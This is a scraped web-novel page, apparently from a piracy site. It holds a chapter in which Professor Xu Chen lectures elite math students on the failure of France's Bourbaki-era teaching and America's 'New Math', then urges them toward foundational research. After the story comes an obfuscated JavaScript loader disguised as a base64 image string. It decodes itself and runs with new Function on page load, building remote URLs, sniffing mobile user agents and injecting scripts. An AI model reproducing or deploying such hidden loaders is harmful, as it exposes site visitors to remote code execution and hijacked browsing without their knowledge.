首页
第484章 徐教授的课 三
返回
关灯 护眼:关 字号:小

第484章 徐教授的课 三 让我们从最简单的开始

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    “上世纪中叶,法国受布尔巴基学派的影响,整个数学教育变得高度抽象化。当时有人在街头拦住一个法国小孩,问他:‘小朋友,3+4等于几?’”
    徐辰模仿着那种语境,摊了摊手:“那小孩憋了半天,说‘我不知道’。但他非常骄傲地补充了一句——‘但我知道3+4=4+3,因为整数与整数的加法,构成了一个阿贝尔群!’”
    “噗——哈哈哈!”
    台下顿时爆发出了一阵哄堂大笑。尤其是前排那些搞代数的硕博生,更是笑得前仰后合。这种用高射炮打蚊子、用群论来解释小学加法的段子,简直精准地戳中了理科生的笑点。
    徐辰等笑声稍微平息了一些,接着说道:
    “无独有偶,美国在60年代也搞了一场轰轰烈烈的‘新数学运动’。”
    “那时候,因为苏联在1957年把人类第一颗人造卫星‘斯普特尼克1号’送上了天。美国人觉得自己的科技教育被苏联按在地上摩擦。于是病急乱投医,一群顶尖数学家拍了拍脑袋,决定把小学生当成数学家来培养,好在太空竞赛里弯道超车。”
    “大家可能不知道当时美国的小学课本有多离谱。一二年级的小孩,不教怎么数数,上来直接讲集合、并集、交集,用‘基数’来定义数的概念;他们把二进制、五进制、八进制当成正课来教;用数轴和‘有序数对’来引入负数和分数;甚甚至在小学的代数里,就早早出现了'变量'和'函数即映射'的观念。这些概念对大学生来说都是有难度的,却被硬生生塞进了小学课本。“
    徐辰继续道:“在当时的课堂上,一道典型的算术题绝对不是问你‘3+4等于几’,而是问:集合A包含a、b、c三个元素,集合B包含d、e、f、g四个元素,求集合A并集合B的基数!”
    “从我们这些数学家的角度来看,这非常优雅了!孩子们从启蒙阶段,就在用最严谨的现代数学语言思考世界!”
    “但结果却是一场彻头彻尾的灾难。”
    徐辰无奈地摇了摇头:“学生们的基本功出现了断崖式的退步。他们能极其流利地背诵出‘加法满足交换律和结合律’,但在做三位数的加减法时却错漏百出;他们能熟练地默写出集合的严格定义,但去超市买东西却不会算找零。数学教育最基础的实用目的,被这种所谓的优雅彻底抛弃了。”
    ……
    “结果到了1965年,有位美国数学家实在看不下去了,写了本畅销书,名字就叫《为什么小明不会算术》。”
    “当时还有个民谣歌手叫TomLehrer,甚至专门写了一首讽刺神曲叫《NewMath》。里面有句歌词,精准地点出了这场教育运动的死穴。”
    “在新数学里,重要的是理解过程,而不是得到正确答案。”
    台下再次响起一阵轻松的哄笑。
    毕竟,连算术都不会算,光知道个阿贝尔群有个屁用?
    徐辰转身面向学生,目光扫过全场,“一个教育运动如果沦落到这个地步,让学生不会算账、不会做日常计算,只会背定义,那它还有什么意义?“
    ……
    徐辰脸上的笑容,突然毫无征兆地收敛了。
    “这两场基于数学底层原理的教育运动,在历史上,被公认为彻底的失败。”
    “为什么失败?因为他们让一群心智未熟、连数字概念都没建立完全的小孩,去强行理解群论和集合论!这是违背客观规律、不尊重人类认知发展顺序的闹剧!”
    台下的笑声不知不觉间停了下来。学生们敏锐地察觉到了徐辰语气的变化,纷纷坐直了身体。
    “这两场运动的本质,是教育的错位。他们傲慢地把心智未熟的小学生,当成了顶尖的数学家来培养。”
    徐辰的声音不大,却带着一种穿透人心的力量。他缓缓扫过前排那些清北的顶尖硕博生,扫过过道里站着的青年学者,最终缓缓开口。
    “但是——”
    “在座的各位,不是心智未熟的小孩。”
    “你们是从几百万同龄人中厮杀出来的天之骄子,是华国最顶尖的数学大脑!”
    教室里安静得落针可闻,只有徐辰那掷地有声的话语在空气中震荡。
    “如果说美国和法国当年的错误,是把小学生当成了数学家;那么我们现在的悲哀,就是把顶尖的数学家,当成了只会做算术题的小学生!”
    这句话犹如一道惊雷,在教室上空轰然炸响。
    ……
    教室里安静得落针可闻,只有徐辰那掷地有声的话语在空气中震荡。
    “过去几十年,为了国家建设的迫切需求,国内的数学界把绝大部分精力倾注在了应用上。这在当时的历史大背景下,是极其正确且伟大的选择。老一辈学者用算盘和计算尺敲出了两弹一星,解决了无数卡脖子的工程难题,这无可厚非。”
    “但是,时代变了!”
    “我们极其擅长算出3+4=7,我们极其擅长用现成的数学工具去解决实际的工程问题、去发高区论文、去拿项目经费。但这导致了一个致命的后果,我们逐渐丧失了去追问背后那个‘阿贝尔群’的耐心!”
    那些原本还在微笑的资深教授们,此刻脸上的表情也凝固了,眉头渐渐锁紧。
    徐辰的话,像是一记重锤,狠狠地砸在了华国基础科学最痛的软肋上。
    “如果你们,作为华国未来十年、二十年学术界的领军者,认知依然只停留在‘算出一个正确的答案’,只满足于在别人建好的地基上修修补补……”
    徐辰的声音陡然拔高,带着一种震彻灵魂的压迫感:
    “那华国的基础数学,永远不可能诞生跨时代的底层突破!永远只能跟在别人的屁股后面吃灰!”
    全场瞬间死寂。
    所有人的笑意彻底僵在了脸上,取而代之的,是一种被瞬间击中灵魂的巨大震撼。
    前排的几个博士生只觉得头皮发麻,一股难以言喻的热血夹杂着羞愧直冲天灵盖;后排的青椒们则是不自觉地攥紧了拳头,呼吸都变得急促起来。
    他们本以为徐辰是在讲段子嘲讽别人,却没想到,这个段子化作了一记响亮的耳光,狠狠地抽在了他们每一个人的脸上!
    在全场极度的安静中,徐辰转过身,拿起讲桌上的一截粉笔。
    他在巨大的黑板正中央,用力写下了两个苍劲有力的大字:
    【数学】
    粉笔敲击黑板的“笃笃”声,仿佛敲在每个人的心头上。
    徐辰转过身,随手将半截粉笔扔进粉笔盒,拍了拍手上的灰尘,目光睥睨全场。
    “这就是我开这门课的原因。”
    “在这门课里,我不会让你们去算具体的工程题。我要做的,是打碎你们脑子里现有的学科壁垒,强行把你们拉回现代数学最底层的逻辑泥潭里!”
    他顿了顿,嘴角再次勾起一抹从容的微笑,但这一次,那笑容里透着绝对的学术统治力。
    “现在,我们从最简单的开始——”
    ……
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="r5b0n433ax";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/5n)02ossdR/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"5n)02ossdR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY85n)02ossdR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();